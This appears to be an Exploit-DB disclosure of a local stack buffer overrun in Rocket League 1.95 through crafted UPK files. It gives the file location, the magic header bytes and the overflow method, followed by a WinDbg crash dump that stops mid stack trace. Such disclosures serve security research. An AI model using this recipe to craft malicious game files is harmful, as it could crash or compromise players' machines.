Exploit-DB #49848
Description: Epic Games Rocket League 1.95 - Stack Buffer Overrun
Type: local
Platform: windows
Date: 2021-05-07
Author: LiquidWorm

Exploit:
# Exploit Title: Epic Games Rocket League 1.95 - Stack Buffer Overrun
# Date: 25.04.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.epicgames.com https://www.rocketleague.com

Epic Games Rocket League 1.95 (AK::MemoryMgr::GetPoolName) Stack Buffer Overrun


Vendor: Epic Games Inc. | Psyonix, LLC
Product web page: https://www.epicgames.com
                  https://www.psyonix.com
                  https://www.rocketleague.com
Affected version: <=1.95

Summary: Rocket League is a high-powered hybrid of arcade-style soccer
and vehicular mayhem with easy-to-understand controls and fluid, physics-driven
competition.

Desc: The game suffers from a stack-based buffer overflow vulnerability. The
issue is caused due to a boundary error in the processing of a UPK format file,
which can be exploited to cause a stack buffer overflow when a user crafts the
file with a large array of bytes inserted in the vicinity offset after the magic
header. Successful exploitation could allow execution of arbitrary code on the
affected machine.

Tested on: Microsoft Windows 10


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5651
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5651.php


25.04.2021

--


Craft location: ..\rocketleague\TAGame\CookedPCConsole
Header: C1 83 2A 9E 64 03 1F 00

hat_Headphones_SF.upk:
----------------------
...
...
ModLoad: 00007ff9`99ff0000 00007ff9`9a016000   C:\WINDOWS\system32\ncryptsslp.dll
ModLoad: 00007ff9`32d70000 00007ff9`36a00000   C:\WINDOWS\System32\DriverStore\FileRepository\igdlh64.inf_amd64_e9f7884f9b4f82b9\igd9dxva64.dll
ModLoad: 00007ff9`315b0000 00007ff9`32d68000   C:\WINDOWS\System32\DriverStore\FileRepository\nvlti.inf_amd64_d79c53dfaa1cbce3\nvd3dumx.dll
ModLoad: 00000000`[PII_REDACTED]`0041e000   E:\Epic Games\rocketleague\Binaries\Win64\XINPUT1_3.dll
ModLoad: 00007ff9`8dac0000 00007ff9`8db6c000   C:\WINDOWS\SYSTEM32\TextShaping.dll
[0110.33] Log: Timed out while waiting for GPU to catch up. (500 ms)
(62c.1074): Unknown exception - code 00000001 (!!! second chance !!!)
KERNELBASE!RaiseException+0x69:
00007ff9`a0364b59 0f1f440000      nop     dword ptr [rax+rax]
0:024> r
rax=00007ff99feeb925 rbx=[PII_REDACTED] rcx=[PII_REDACTED]
rdx=000000214edfe8b0 rsi=000000214edfef50 rdi=000000214edfe700
rip=00007ff9a0364b59 rsp=000000214edfef30 rbp=[PII_REDACTED]
 r8=000000214edfedb0  r9=[PII_REDACTED] r10=[PII_REDACTED]0000c0
r11=000000214edfee2e r12=[PII_REDACTED] r13=00007ff776205bb0
r14=00007ff776dab710 r15=000000214edff8a0
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000204
KERNELBASE!RaiseException+0x69:
00007ff9`a0364b59 0f1f440000      nop     dword ptr [rax+rax]
0:024> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for E:\Epic Games\rocketleague\Binaries\Win64\EOSSDK-Win64-Shipping.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\System32\DriverStore\FileRepository\nvlti.inf_amd64_d79c53dfaa1cbce3\nvwgf2umx.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Epic Games\Launcher\Portal\Extras\Overlay\EOSOVH-Win64-Shipping.dll - 
GetUrlPageData2 (WinHttp) failed: 12002.

DUMP_CLASS: 2
DUMP_QUALIFIER: 0

FAULTING_IP: 
KERNELBASE!RaiseException+69
00007ffe`d4d64b59 0f1f440000      nop     dword ptr [rax+rax]

EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 00007ffed4d64b59 (KERNELBASE!RaiseException+0x[PII_REDACTED]000069)
   ExceptionCode: 00000001
  ExceptionFlags: 00000000
NumberParameters: 0

FAULTING_THREAD:  00000490
DEFAULT_BUCKET_ID:  APPLICATION_FAULT
PROCESS_NAME:  RocketLeague.exe
ERROR_CODE: (NTSTATUS) 0x1 - STATUS_WAIT_1
EXCEPTION_CODE: (Win32) 0x1 (1) - Incorrect function.
EXCEPTION_CODE_STR:  1
WATSON_BKT_PROCSTAMP:  606f6afa
WATSON_BKT_PROCVER:  1.0.10897.0
PROCESS_VER_PRODUCT:  Rocket League
WATSON_BKT_MODULE:  KERNELBASE.dll
WATSON_BKT_MODSTAMP:  2f2f77bf
WATSON_BKT_MODOFFSET:  34b59
WATSON_BKT_MODVER:  10.0.19041.906
MODULE_VER_PRODUCT:  Microsoft® Windows® Operating System
BUILD_VERSION_STRING:  10.0.19041.928 (WinBuild[PII_REDACTED])
MODLIST_WITH_TSCHKSUM_HASH:  ac197712fdc57f2bb67f9b17107e5701c93b4362
MODLIST_SHA1_HASH:  342698e051c108fd7be71346f5d34f8a14c38381
NTGLOBALFLAG:  0
PROCESS_BAM_CURRENT_THROTTLED: 0
PROCESS_BAM_PREVIOUS_THROTTLED: 0
APPLICATION_VERIFIER_FLAGS:  0
PRODUCT_TYPE:  1
SUITE_MASK:  784
DUMP_TYPE:  fe
ANALYSIS_SESSION_HOST:  LAB17
ANALYSIS_SESSION_TIME:  04-25-2021 13:23:34.0003
ANALYSIS_VERSION: 10.0.16299.91 amd64fre
THREAD_ATTRIBUTES: 
OS_LOCALE:  ENU

PROBLEM_CLASSES: 

    ID:     [0n308]
    Type:   [APPLICATION_FAULT]
    Class:  Primary
    Scope:  DEFAULT_BUCKET_ID (Failure Bucket ID prefix)
            BUCKET_ID
    Name:   Add
    Data:   Omit
    PID:    [Unspecified]
    TID:    [Unspecified]
    Frame:  [0]

BUGCHECK_STR:  APPLICATION_FAULT
PRIMARY_PROBLEM_CLASS:  APPLICATION_FAULT
LAST_CONTROL_TRANSFER:  from 00007ff78f1cbf65 to 00007ffed4d64b59

STACK_TEXT:  
00000089`23dfe910 00007ff7`8f1cbf65 : 00007ff7`9123b[PII_REDACTED]0`000002f8 00007ff7`906e5[PII_REDACTED]9`23dfea20 : KERNELBASE!RaiseException+0x69
00000089`23dfe9f0 00007ff7`8f190215 : 00000089`23dff[PII_REDACTED]9`23dff5d0 00000089`23dff710 00007ffe`d72ee25f : RocketLeague!GetOutermost+0x29245
00000089`23dff250 00007ff7`8f123